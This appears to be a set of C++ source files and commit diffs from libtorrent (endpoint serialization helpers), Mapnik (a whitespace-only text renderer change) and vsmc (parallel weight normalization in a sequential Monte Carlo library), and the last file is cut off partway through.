form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_SOCKET_IO_HPP_INCLUDED\n#define TORRENT_SOCKET_IO_HPP_INCLUDED\n\n#include \"libtorrent\/socket.hpp\"\n#include \"libtorrent\/address.hpp\"\n#include \"libtorrent\/io.hpp\"\n#include \"libtorrent\/error_code.hpp\"\n#include \"libtorrent\/lazy_entry.hpp\"\n#include <string>\n\nnamespace libtorrent\n{\n\tTORRENT_EXPORT std::string print_address(address const& addr);\n\tTORRENT_EXPORT std::string print_endpoint(tcp::endpoint const& ep);\n\tTORRENT_EXPORT std::string print_endpoint(udp::endpoint const& ep);\n\n\tnamespace detail\n\t{\n\t\ttemplate<class OutIt>\n\t\tvoid write_address(address const& a, OutIt& out)\n\t\t{\n#if TORRENT_USE_IPV6\n\t\t\tif (a.is_v4())\n\t\t\t{\n#endif\n\t\t\t\twrite_uint32(a.to_v4().to_ulong(), out);\n#if TORRENT_USE_IPV6\n\t\t\t}\n\t\t\telse if (a.is_v6())\n\t\t\t{\n\t\t\t\ttypedef address_v6::bytes_type bytes_t;\n\t\t\t\tbytes_t bytes = a.to_v6().to_bytes();\n\t\t\t\tfor (bytes_t::iterator i = bytes.begin()\n\t\t\t\t\t, end(bytes.end()); i != end; ++i)\n\t\t\t\t\twrite_uint8(*i, out);\n\t\t\t}\n#endif\n\t\t}\n\n\t\ttemplate<class InIt>\n\t\taddress read_v4_address(InIt& in)\n\t\t{\n\t\t\tunsigned long ip = read_uint32(in);\n\t\t\treturn address_v4(ip);\n\t\t}\n\n#if TORRENT_USE_IPV6\n\t\ttemplate<class InIt>\n\t\taddress read_v6_address(InIt& in)\n\t\t{\n\t\t\ttypedef address_v6::bytes_type bytes_t;\n\t\t\tbytes_t bytes;\n\t\t\tfor (bytes_t::iterator i = bytes.begin()\n\t\t\t\t, end(bytes.end()); i != end; ++i)\n\t\t\t\t*i = read_uint8(in);\n\t\t\treturn address_v6(bytes);\n\t\t}\n#endif\n\n\t\ttemplate<class Endpoint, class OutIt>\n\t\tvoid write_endpoint(Endpoint const& e, OutIt& out)\n\t\t{\n\t\t\twrite_address(e.address(), out);\n\t\t\twrite_uint16(e.port(), out);\n\t\t}\n\n\t\ttemplate<class Endpoint, class InIt>\n\t\tEndpoint read_v4_endpoint(InIt& in)\n\t\t{\n\t\t\taddress addr = read_v4_address(in);\n\t\t\tint port = read_uint16(in);\n\t\t\treturn Endpoint(addr, port);\n\t\t}\n\n#if TORRENT_USE_IPV6\n\t\ttemplate<class Endpoint, class InIt>\n\t\tEndpoint read_v6_endpoint(InIt& in)\n\t\t{\n\t\t\taddress addr = read_v6_address(in);\n\t\t\tint port = read_uint16(in);\n\t\t\treturn Endpoint(addr, port);\n\t\t}\n#endif\n\n\t\ttemplate <class EndpointType>\n\t\tvoid read_endpoint_list(libtorrent::lazy_entry const* n, std::vector<EndpointType>& epl)\n\t\t{\n\t\t\tusing namespace libtorrent;\n\t\t\tif (n->type() != lazy_entry::list_t) return;\n\t\t\tfor (int i = 0; i < n->list_size(); ++i)\n\t\t\t{\n\t\t\t\tlazy_entry const* e = n->list_at(i);\n\t\t\t\tif (e->type() != lazy_entry::string_t) return;\n\t\t\t\tif (e->string_length() < 6) continue;\n\t\t\t\tchar const* in = e->string_ptr();\n\t\t\t\tif (e->string_length() == 6)\n\t\t\t\t\tepl.push_back(read_v4_endpoint<EndpointType>(in));\n#if TORRENT_USE_IPV6\n\t\t\t\telse if (e->string_length() == 18)\n\t\t\t\t\tepl.push_back(read_v6_endpoint<EndpointType>(in));\n#endif\n\t\t\t}\n\t\t}\n\n\t}\n\n\n}\n\n#endif\n\n<|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2015 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n#ifndef MAPNIK_TEXT_RENDERER_HPP\n#define MAPNIK_TEXT_RENDERER_HPP\n\n\/\/ mapnik\n#include <mapnik\/text\/placement_finder.hpp>\n#include <mapnik\/image_compositing.hpp>\n#include <mapnik\/symbolizer_enumerations.hpp>\n#include <mapnik\/util\/noncopyable.hpp>\n\/\/ agg\n#include <agg_trans_affine.h>\n\n\/\/ freetype2\nextern \"C\"\n{\n#include <ft2build.h>\n#include FT_FREETYPE_H\n#include FT_STROKER_H\n}\n\nnamespace mapnik\n{\n\nstruct glyph_t\n{\n FT_Glyph image;\n detail::evaluated_format_properties const& properties;\n glyph_t(FT_Glyph image_, detail::evaluated_format_properties const& properties_)\n : image(image_), properties(properties_) {}\n};\n\nclass text_renderer : private util::noncopyable\n{\npublic:\n text_renderer (halo_rasterizer_e rasterizer,\n composite_mode_e comp_op = src_over,\n composite_mode_e halo_comp_op = src_over,\n double scale_factor=1.0,\n stroker_ptr stroker=stroker_ptr());\n void set_transform(agg::trans_affine const& transform);\n void set_halo_transform(agg::trans_affine const& halo_transform);\nprotected:\n using glyph_vector = std::vector<glyph_t>;\n void prepare_glyphs(glyph_positions const& positions);\n halo_rasterizer_e rasterizer_;\n composite_mode_e comp_op_;\n composite_mode_e halo_comp_op_;\n double scale_factor_;\n glyph_vector glyphs_;\n stroker_ptr stroker_;\n agg::trans_affine transform_;\n agg::trans_affine halo_transform_;\n};\n\ntemplate <typename T>\nclass agg_text_renderer : public text_renderer\n{\npublic:\n using pixmap_type = T;\n agg_text_renderer (pixmap_type & pixmap, halo_rasterizer_e rasterizer,\n composite_mode_e comp_op = src_over,\n composite_mode_e halo_comp_op = src_over,\n double scale_factor = 1.0,\n stroker_ptr stroker = stroker_ptr());\n void render(glyph_positions const& positions);\nprivate:\n pixmap_type & pixmap_;\n void render_halo(FT_Bitmap_ *bitmap, unsigned rgba, int x, int y,\n double halo_radius, double opacity,\n composite_mode_e comp_op);\n};\n\ntemplate <typename T>\nclass grid_text_renderer : public text_renderer\n{\npublic:\n using pixmap_type = T;\n grid_text_renderer (pixmap_type & pixmap,\n composite_mode_e comp_op = src_over,\n double scale_factor = 1.0);\n void render(glyph_positions const& positions, value_integer feature_id);\nprivate:\n pixmap_type & pixmap_;\n void render_halo_id(FT_Bitmap_ *bitmap, mapnik::value_integer feature_id, int x, int y, int halo_radius);\n};\n\n}\n#endif \/\/ RENDERER_HPP\n<commit_msg>formattin<commit_after>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2015 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n#ifndef MAPNIK_TEXT_RENDERER_HPP\n#define MAPNIK_TEXT_RENDERER_HPP\n\n\/\/ mapnik\n#include <mapnik\/text\/placement_finder.hpp>\n#include <mapnik\/image_compositing.hpp>\n#include <mapnik\/symbolizer_enumerations.hpp>\n#include <mapnik\/util\/noncopyable.hpp>\n\/\/ agg\n#include <agg_trans_affine.h>\n\n\/\/ freetype2\nextern \"C\"\n{\n#include <ft2build.h>\n#include FT_FREETYPE_H\n#include FT_STROKER_H\n}\n\nnamespace mapnik\n{\n\nstruct glyph_t\n{\n FT_Glyph image;\n detail::evaluated_format_properties const& properties;\n glyph_t(FT_Glyph image_, detail::evaluated_format_properties const& properties_)\n : image(image_), properties(properties_) {}\n};\n\nclass text_renderer : private util::noncopyable\n{\npublic:\n text_renderer (halo_rasterizer_e rasterizer,\n composite_mode_e comp_op = src_over,\n composite_mode_e halo_comp_op = src_over,\n double scale_factor = 1.0,\n stroker_ptr stroker = stroker_ptr());\n void set_transform(agg::trans_affine const& transform);\n void set_halo_transform(agg::trans_affine const& halo_transform);\nprotected:\n using glyph_vector = std::vector<glyph_t>;\n void prepare_glyphs(glyph_positions const& positions);\n halo_rasterizer_e rasterizer_;\n composite_mode_e comp_op_;\n composite_mode_e halo_comp_op_;\n double scale_factor_;\n glyph_vector glyphs_;\n stroker_ptr stroker_;\n agg::trans_affine transform_;\n agg::trans_affine halo_transform_;\n};\n\ntemplate <typename T>\nclass agg_text_renderer : public text_renderer\n{\npublic:\n using pixmap_type = T;\n agg_text_renderer (pixmap_type & pixmap, halo_rasterizer_e rasterizer,\n composite_mode_e comp_op = src_over,\n composite_mode_e halo_comp_op = src_over,\n double scale_factor = 1.0,\n stroker_ptr stroker = stroker_ptr());\n void render(glyph_positions const& positions);\nprivate:\n pixmap_type & pixmap_;\n void render_halo(FT_Bitmap_ *bitmap, unsigned rgba, int x, int y,\n double halo_radius, double opacity,\n composite_mode_e comp_op);\n};\n\ntemplate <typename T>\nclass grid_text_renderer : public text_renderer\n{\npublic:\n using pixmap_type = T;\n grid_text_renderer (pixmap_type & pixmap,\n composite_mode_e comp_op = src_over,\n double scale_factor = 1.0);\n void render(glyph_positions const& positions, value_integer feature_id);\nprivate:\n pixmap_type & pixmap_;\n void render_halo_id(FT_Bitmap_ *bitmap, mapnik::value_integer feature_id, int x, int y, int halo_radius);\n};\n\n}\n#endif \/\/ RENDERER_HPP\n<|endoftext|>"} {"text":"<commit_before>#ifndef VSMC_SMP_BACKEND_STD_HPP\n#define VSMC_SMP_BACKEND_STD_HPP\n\n#include <vsmc\/smp\/base.hpp>\n#include <vsmc\/utility\/stdtbb.hpp>\n#include <vsmc\/utility\/tbb_op.hpp>\n\nnamespace vsmc {\n\n\/\/\/ \\brief Particle::weight_set_type subtype using C++11 concurrency\n\/\/\/ \\ingroup SMP\ntemplate <typename BaseState>\nclass WeightSetSTD : public traits::WeightSetTypeTrait<BaseState>::type\n{\n typedef typename traits::WeightSetTypeTrait<BaseState>::type base;\n\n public :\n\n typedef typename traits::SizeTypeTrait<base>::type size_type;\n\n explicit WeightSetSTD (size_type N) : base(N) {}\n\n private :\n\n void log_weight2weight ()\n {\n const size_type N = static_cast<size_type>(this->size());\n parallel_for(BlockedRange<size_type>(0, N), tbb_op::exp<double>(\n this->log_weight_ptr(), this->weight_ptr()));\n }\n\n void weight2log_weight ()\n {\n const size_type N = static_cast<size_type>(this->size());\n parallel_for(BlockedRange<size_type>(0, N), tbb_op::log<double>(\n this->weight_ptr(), this->log_weight_ptr()));\n }\n}; \/\/ class WeightSetSTD\n\n\/\/\/ \\brief Particle::value_type subtype using C++11 concurrency\n\/\/\/ \\ingroup SMP\ntemplate <typename BaseState>\nclass StateSTD : public BaseState\n{\n public :\n\n typedef typename traits::SizeTypeTrait<BaseState>::type size_type;\n\n explicit StateSTD (size_type N) : BaseState(N) {}\n\n template <typename IntType>\n void copy (size_type N, const IntType *copy_from)\n {\n VSMC_RUNTIME_ASSERT_STATE_COPY_SIZE_MISMATCH(STD);\n\n parallel_for(BlockedRange<size_type>(0, N),\n copy_work_<IntType>(this, copy_from));\n }\n\n private :\n\n template <typename IntType>\n class copy_work_\n {\n public :\n\n copy_work_ (StateSTD<BaseState> *state, const IntType *copy_from) :\n state_(state), copy_from_(copy_from) {}\n\n void operator() (const BlockedRange<size_type> &range) const\n {\n for (size_type to = range.begin(); to != range.end(); ++to)\n state_->copy_particle(copy_from_[to], to);\n }\n\n private :\n\n StateSTD<BaseState> *const state_;\n const IntType *const copy_from_;\n }; \/\/ class copy_work_\n}; \/\/ class StateSTD\n\n\/\/\/ \\brief Sampler<T>::init_type subtype using C++11 concurrency\n\/\/\/ \\ingroup SMP\ntemplate <typename T, typename Derived>\nclass InitializeSTD : public InitializeBase<T, Derived>\n{\n public :\n\n\n std::size_t operator() (Particle<T> &particle, void *param)\n {\n typedef typename Particle<T>::size_type size_type;\n const size_type N = static_cast<size_type>(particle.size());\n this->initialize_param(particle, param);\n this->pre_processor(particle);\n std::size_t accept = parallel_accumulate(BlockedRange<size_type>(0, N),\n work_(this, &particle), static_cast<std::size_t>(0));\n this->post_processor(particle);\n\n return accept;\n }\n\n protected :\n\n VSMC_DEFINE_SMP_IMPL_COPY_BASE(STD, Initialize)\n\n private :\n\n class work_\n {\n public :\n\n typedef typename Particle<T>::size_type size_type;\n\n work_ (InitializeSTD<T, Derived> *init,\n Particle<T> *particle) :\n init_(init), particle_(particle) {}\n\n void operator() (const BlockedRange<size_type> &range,\n std::size_t &accept) const\n {\n std::size_t acc = 0;\n for (size_type i = range.begin(); i != range.end(); ++i) {\n Particle<T> *const part = particle_;\n acc += init_->initialize_state(SingleParticle<T>(i, part));\n }\n accept = acc;\n }\n\n private :\n\n InitializeSTD<T, Derived> *const init_;\n Particle<T> *const particle_;\n }; \/\/ class work_\n}; \/\/ class InitializeSTD\n\n\/\/\/ \\brief Sampler<T>::move_type subtype using C++11 concurrency\n\/\/\/ \\ingroup SMP\ntemplate <typename T, typename Derived>\nclass MoveSTD : public MoveBase<T, Derived>\n{\n public :\n\n\n std::size_t operator() (std::size_t iter, Particle<T> &particle)\n {\n typedef typename Particle<T>::size_type size_type;\n const size_type N = static_cast<size_type>(particle.size());\n this->pre_processor(iter, particle);\n std::size_t accept = parallel_accumulate(BlockedRange<size_type>(0, N),\n work_(this, iter, &particle), static_cast<std::size_t>(0));\n this->post_processor(iter, particle);\n\n return accept;\n }\n\n protected :\n\n VSMC_DEFINE_SMP_IMPL_COPY_BASE(STD, Move)\n\n private :\n\n class work_\n {\n public :\n\n typedef typename Particle<T>::size_type size_type;\n\n work_ (MoveSTD<T, Derived> *move, std::size_t iter,\n Particle<T> *particle):\n move_(move), iter_(iter), particle_(particle) {}\n\n void operator() (const BlockedRange<size_type> &range,\n std::size_t &accept) const\n {\n std::size_t acc = 0;\n for (size_type i = range.begin(); i != range.end(); ++i) {\n Particle<T> *const part = particle_;\n acc += move_->move_state(iter_, SingleParticle<T>(i, part));\n }\n accept = acc;\n }\n\n private :\n\n MoveSTD<T, Derived> *const move_;\n const std::size_t iter_;\n Particle<T> *const particle_;\n }; \/\/ class work_\n}; \/\/ class MoveSTD\n\n\/\/\/ \\brief Monitor<T>::eval_type subtype using C++11 concurrency\n\/\/\/ \\ingroup SMP\ntemplate <typename T, typename Derived>\nclass MonitorEvalSTD : public MonitorEvalBase<T, Derived>\n{\n public :\n\n\n void operator() (std::size_t iter, std::size_t dim,\n const Particle<T> &particle, double *res)\n {\n typedef typename Particle<T>::size_type size_type;\n const size_type N = static_cast<size_type>(particle.size());\n this->pre_processor(iter, particle);\n parallel_for(BlockedRange<size_type>(0, N),\n work_(this, iter, dim, &particle, res));\n this->post_processor(iter, particle);\n }\n\n protected :\n\n VSMC_DEFINE_SMP_IMPL_COPY_BASE(STD, MonitorEval)\n\n private :\n\n class work_\n {\n public :\n\n typedef typename Particle<T>::size_type size_type;\n\n work_ (MonitorEvalSTD<T, Derived> *monitor,\n std::size_t iter, std::size_t dim,\n const Particle<T> *particle, double *res) :\n monitor_(monitor), iter_(iter), dim_(dim), particle_(particle),\n res_(res) {}\n\n void operator() (const BlockedRange<size_type> &range) const\n {\n for (size_type i = range.begin(); i != range.end(); ++i) {\n double *const r = res_ + i * dim_;\n const Particle<T> *const part = particle_;\n monitor_->monitor_state(iter_, dim_,\n ConstSingleParticle<T>(i, part), r);\n }\n }\n\n private :\n\n MonitorEvalSTD<T, Derived> *const monitor_;\n const std::size_t iter_;\n const std::size_t dim_;\n const Particle<T> *const particle_;\n double *const res_;\n }; \/\/ class work_\n}; \/\/ class MonitorEvalSTD\n\n\/\/\/ \\brief Path<T>::eval_type subtype using C++11 concurrency\n\/\/\/ \\ingroup SMP\ntemplate <typename T, typename Derived>\nclass PathEvalSTD : public PathEvalBase<T, Derived>\n{\n public :\n\n\n double operator() (std::size_t iter, const Particle<T> &particle,\n double *res)\n {\n typedef typename Particle<T>::size_type size_type;\n const size_type N = static_cast<size_type>(particle.size());\n this->pre_processor(iter, particle);\n parallel_for(BlockedRange<size_type>(0, N),\n work_(this, iter, &particle, res));\n this->post_processor(iter, particle);\n\n return this->path_grid(iter, particle);\n }\n\n protected :\n\n VSMC_DEFINE_SMP_IMPL_COPY_BASE(STD, PathEval)\n\n private :\n\n class work_\n {\n public :\n\n typedef typename Particle<T>::size_type size_type;\n\n work_ (PathEvalSTD<T, Derived> *path, std::size_t iter,\n const Particle<T> *particle, double *res) :\n path_(path), iter_(iter), particle_(particle), res_(res) {}\n\n void operator() (const BlockedRange<size_type> &range) const\n {\n for (size_type i = range.begin(); i != range.end(); ++i) {\n const Particle<T> *const part = particle_;\n res_[i] = path_->path_state(iter_,\n ConstSingleParticle<T>(i, part));\n }\n }\n\n private :\n\n PathEvalSTD<T, Derived> *const path_;\n const std::size_t iter_;\n const Particle<T> *const particle_;\n double *const res_;\n }; \/\/ class work_\n}; \/\/ PathEvalSTD\n\n} \/\/ namespace vsmc\n\n#endif \/\/ VSMC_SMP_BACKEND_STD_HPP\n<commit_msg>stdtbb backend normalize weights parallelized<commit_after>#ifndef VSMC_SMP_BACKEND_STD_HPP\n#define VSMC_SMP_BACKEND_STD_HPP\n\n#include <vsmc\/smp\/base.hpp>\n#include <vsmc\/utility\/stdtbb.hpp>\n#include <vsmc\/utility\/tbb_op.hpp>\n\nnamespace vsmc {\n\n\/\/\/ \\brief Particle::weight_set_type subtype using C++11 concurrency\n\/\/\/ \\ingroup SMP\ntemplate <typename BaseState>\nclass WeightSetSTD : public traits::WeightSetTypeTrait<BaseState>::type\n{\n typedef typename traits::WeightSetTypeTrait<BaseState>::type base;\n\n public :\n\n typedef typename traits::SizeTypeTrait<base>::type size_type;\n\n explicit WeightSetSTD (size_type N) : base(N) {}\n\n private :\n\n void log_weight2weight ()\n {\n const size_type N = static_cast<size_type>(this->size());\n parallel_for(BlockedRange<size_type>(0, N), tbb_op::exp<double>(\n this->log_weight_ptr(), this->weight_ptr()));\n }\n\n void weight2log_weight ()\n {\n const size_type N = static_cast<size_type>(this->size());\n parallel_for(BlockedRange<size_type>(0, N), tbb_op::log<double>(\n this->weight_ptr(), this->log_weight_ptr()));\n }\n\n void normalize_log_weight ()\n {\n const size_type N = static_cast<size_type>(this->size());\n tbb_op::maximum<double> max_weight(this->log_weight_ptr());\n parallel_reduce(BlockedRange<size_type>(0, N), max_weight);\n parallel_for(BlockedRange<size_type>(0, N), tbb_op::minus<double>(\n this->log_weight_ptr(), this->log_weight_ptr(),\n max_weight.result()));\n }\n\n void normalize_weight ()\n {\n const size_type N = static_cast<size_type>(this->size());\n tbb_op::summation<double> coeff(this->weight_ptr());\n parallel_reduce(BlockedRange<size_type>(0, N), coeff);\n parallel_for(BlockedRange<size_type>(0, N),\n tbb_op::multiplies<double>(\n this->weight_ptr(), this->weight_ptr(),\n 1 \/ coeff.result()));\n tbb_op::square_sum<double> ess(this->weight_ptr());\n parallel_reduce(BlockedRange<size_type>(0, this->size()), ess);\n this->set_ess(1 \/ ess.result());\n }\n}; \/\/ class WeightSetSTD\n\n\/\/\/ \\brief Particle::value_type subtype using C++11 concurrency\n\/\/\/ \\ingroup SMP\ntemplate <typename BaseState>\nclass StateSTD : public BaseState\n{\n public :\n\n typedef typename traits::SizeTypeTrait<BaseState>::type size_type;\n\n explicit StateSTD (size_type N) : BaseState(N) {}\n\n template <typename IntType>\n void copy (size_type N, const IntType *copy_from)\n {\n VSMC_RUNTIME_ASSERT_STATE_COPY_SIZE_MISMATCH(STD);\n\n parallel_for(BlockedRange<size_type>(0, N),\n copy_work_<IntType>(this, copy_from));\n }\n\n private :\n\n template <typename IntType>\n class copy_work_\n {\n public :\n\n copy_work_ (StateSTD<BaseState> *state, const IntType *copy_from) :\n state_(state), copy_from_(copy_from) {}\n\n void operator() (const BlockedRange<size_type> &range) const\n {\n for (size_type to = range.begin(); to != range.end(); ++to)\n state_->copy_particle(copy_from_[to], to);\n }\n\n private :\n\n StateSTD<BaseState> *const state_;\n const IntType *const copy_from_;\n }; \/\/ class copy_work_\n}; \/\/ class StateSTD\n\n\/\/\/ \\brief Sampler<T>::init_type subtype using C++11 concurrency\n\/\/\/ \\ingroup SMP\ntemplate <typename T, typename Derived>\nclass InitializeSTD : public InitializeBase<T, Derived>\n{\n public :\n\n\n std::size_t operator() (Particle<T> &particle, void *param)\n {\n typedef typename Particle<T>::size_type size_type;\n const size_type N = static_cast<size_type>(particle.size());\n this->initialize_param(particle, param);\n this->pre_processor(particle);\n std::size_t accept = parallel_accumulate(BlockedRange<size_type>(0, N),\n work_(this, &particle), static_cast<std::size_t>(0));\n this->post_processor(particle);\n\n return accept;\n }\n\n protected :\n\n VSMC_DEFINE_SMP_IMPL_COPY_BASE(STD, Initialize)\n\n private :\n\n class work_\n {\n public :\n\n typedef typename Particle<T>::size_type size_type;\n\n work_ (InitializeSTD<T, Derived> *init,\n Particle<T> *particle) :\n init_(init), particle_(particle) {}\n\n void operator() (const BlockedRange<size_type> &range,\n std::size_t &accept) const\n {\n std::size_t acc = 0;\n for (size_type i = range.begin(); i != range.end(); ++i) {\n Particle<T> *const part = particle_;\n acc += init_->initialize_state(SingleParticle<T>(i, part));\n }\n accept = acc;\n }\n\n private :\n\n InitializeSTD<T, Derived> *const init_;\n Particle<T> *const particle_;\n }; \/\/ class work_\n}; \/\/ class InitializeSTD\n\n\/\/\/ \\brief Sampler<T>::move_type subtype using C++11 concurrency\n\/\/\/ \\ingroup SMP\ntemplate <typename T, typename Derived>\nclass MoveSTD : public MoveBase<T, Derived>\n{\n public :\n\n\n std::size_t operator() (std::size_t iter, Particle<T> &particle)\n {\n typedef typename Particle<T>::size_type size_type;\n const size_type N = static_cast<size_type>(particle.size());\n this->pre_processor(iter, particle);\n std::size_t accept = parallel_accumulate(BlockedRange<size_type>(0, N),\n work_(this, iter, &particle), static_cast<std::size_t>(0));\n this->post_processor(iter, particle);\n\n return accept;\n }\n\n protected :\n\n VSMC_DEFINE_SMP_IMPL_COPY_BASE(STD, Move)\n\n private :\n\n class work_\n {\n public :\n\n typedef typename Particle<T>::size_type size_type;\n\n work_ (MoveSTD<T, Derived> *move, std::size_t iter,\n Particle<T> *particle):\n move_(move), iter_(iter), particle_(particle) {}\n\n void operator() (const BlockedRange<size_type> &range,\n std::size_t &accept) const\n {\n std::size_t acc = 0;\n for (size_type i = range.begin(); i != range.end(); ++i) {\n Particle<T> *const part = particle_;\n acc += move_->move_state(iter_, SingleParticle<T>(i, part));\n }\n accept = acc;\n }\n\n private :\n\n MoveSTD<T, Derived> *const move_;\n const std::size_t iter_;\n Particle<T> *const particle_;\n }; \/\/ class work_\n}; \/\/ class MoveSTD\n\n\/\/\/ \\brief Monitor<T>::eval_type subtype using C++11 concurrency\n\/\/\/ \\ingroup SMP\ntemplate <typename T, typename Derived>\nclass MonitorEvalSTD : public MonitorEvalBase<T, Derived>\n{\n public :\n\n\n void operator() (std::size_t iter, std::size_t dim,\n const Particle<T> &particle, double *res)\n {\n typedef typename Particle<T>::size_type size_type;\n const size_type N = static_cast<size_type>(particle.size());\n this->pre_processor(iter, particle);\n parallel_for(BlockedRange<size_type>(0, N),\n work_(this, iter, dim, &particle, res));\n this->post_processor(iter, particle);\n }\n\n protected :\n\n VSMC_DEFINE_SMP_IMPL_COPY_BASE(STD, MonitorEval)\n\n private :\n\n class work_\n {\n public :\n\n typedef typename Particle<T>::size_type size_type;\n\n work_ (MonitorEvalSTD<T, Derived> *monitor,\n std::size_t iter, std::size_t dim,\n const Particle<T> *particle, double *res) :\n monitor_(monitor), iter_(iter), dim_(dim), particle_(particle),\n res_(res) {}\n\n void operator() (const BlockedRange<size_type> &range) const\n {\n for (size_type i = range.begin(); i != range.end(); ++i) {\n double *const r = res_ + i * dim_;\n const Particle<T> *const part = particle_;\n monitor_->monitor_state(iter_, dim_,\n ConstSingleParticle<T>(i, part), r);\n }\n }\n\n private :\n\n MonitorEvalSTD<T, Derived> *const monitor_;\n const std::size_t iter_;\n const std::size_t dim_;\n const Particle<T> *const particle_;\n double *const res_;\n }; \/\/ class work_\n}; \/\/ class MonitorEvalSTD\n\n\/\/\/ \\brief Path<T>::eval_type subtype using C++11 concurrency\n\/\/\/ \\ingroup SMP\ntemplate <typename T, typename Derived>\nclass PathEvalSTD : public PathEvalBase<T, Derived>\n{\n public :\n\n\n double operator() (std::size_t iter, const Particle<T> &particle,\n double *res)\n {\n typedef typename Particle<T>::size_type size_type;\n const size_type N = static_cast<size_type>(particle.size());\n this->pre_processor(iter, particle);\n parallel_for(BlockedRange<size_type>(0, N),\n work_(this, iter, &particle, res));\n this->post_processor(iter, particle);\n\n return this->path_grid(iter, particle);\n }\n\n protected :\n\n VSMC_DEFINE_SMP_IMPL_COPY_BASE(STD, PathEval)\n\n private :\n\n class work_\n {\n public :\n\n typedef typename Particle<T>::size_type size_type;\n\n work_ (PathEvalSTD<T, Derived> *path, std::size_t iter,\n const Particle<T> *particle, double *res) :\n path_(path), iter_(iter), particle_(particle), res_(res) {}\n\n void operator() (const BlockedRange<size_type> &range) const\n {\n for (size_type i = range.begin(); i != range.end(); ++i) {\n const Particle<T> *const part = particle_;\n res_[i] = path_->path_state(iter_,\n ConstSingleParticle<T>(i, part));\n }\n }\n\n private :\n\n PathEvalSTD<T, Derived> *const path_;\n const std::size_t iter_;\n const Particle<T> *const particle_;\n double *const res_;\n }; \/\/ class work_\n}; \/\/ PathEvalSTD\n\n} \/\/ namespace vsmc\n\n#endif \/\/ VSMC_SMP_BACKEND_STD_HPP\n<|endoftext|>"} {"text":"<commit_before>#ifndef VSMC_SMP_STATE_TUPLE_HPP\n#define VSMC_SMP_STATE_TUPLE_HPP\n\n#include <vsmc\/smp\/base.hpp>\n#include <vsmc\/core\/single_particle.hpp>\n#include <vsmc\/utility\/tuple_manip.hpp>\n\nnamespace vsmc {\n\n\/\/\/ \\brief Base type of StateTuple\n\/\/\/ \\ingroup SMP\ntemplate <MatrixOrder Order, typename T, typename... Types>\nclass StateTupleBase\n{\n public :\n\n typedef std::size_t size_type;\n typedef std::tuple<T, Types...> state_tuple_type;\n\n template <std::size_t Pos> struct state_type\n {typedef typename std::tuple_element<Pos, state_tuple_type>::type type;};\n\n class state_pack_type\n {\n public :\n\n state_pack_type () {}\n\n state_pack_type (const state_tuple_type &data) : data_(data) {}\n\n operator state_tuple_type () {return data_;}\n\n template <std::size_t Pos>\n typename state_type<Pos>::type &get ()\n {return std::get<Pos>(data_);}\n\n template <std::size_t Pos>\n const typename state_type<Pos>::type &get () const\n {return std::get<Pos>(data_);}\n\n template <typename Archive>\n void serialize (Archive &ar, const unsigned)\n {serialize(ar, Position<0>());}\n\n template <typename Archive>\n void serialize (Archive &ar, const unsigned) const\n {serialize(ar, Position<0>());}\n\n private :\n\n state_tuple_type data_;\n static const std::size_t dim_ = sizeof...(Types) + 1;\n\n template <typename Archive, std::size_t Pos>\n void serialize (Archive &ar, Position<Pos>)\n {\n ar & std::get<Pos>(data_);\n serialize(ar, Position<Pos + 1>());\n }\n\n template <typename Archive>\n void serialize (Archive &ar, Position<dim_>) {}\n\n template <typename Archive, std::size_t Pos>\n void serialize (Archive &ar, Position<Pos>) const\n {\n ar & std::get<Pos>(data_);\n serialize(ar, Position<Pos + 1>());\n }\n\n template <typename Archive>\n void serialize (Archive &ar, Position<dim_>) const {}\n };\n\n template <typename S>\n struct single_particle_type : public SingleParticleBase<S>\n {\n single_particle_type (typename Particle<S>::size_type id,\n Particle<S> *particle_ptr) :\n SingleParticleBase<S>(id, particle_ptr) {}\n\n static VSMC_CONSTEXPR std::size_t dim () {return S::dim();}\n\n template <std::size_t Pos>\n typename state_type<Pos>::type &state (Position<Pos>) const\n {\n return this->mutable_particle_ptr()->value().\n state(this->id(), Position<Pos>());\n }\n\n template <std::size_t Pos>\n typename 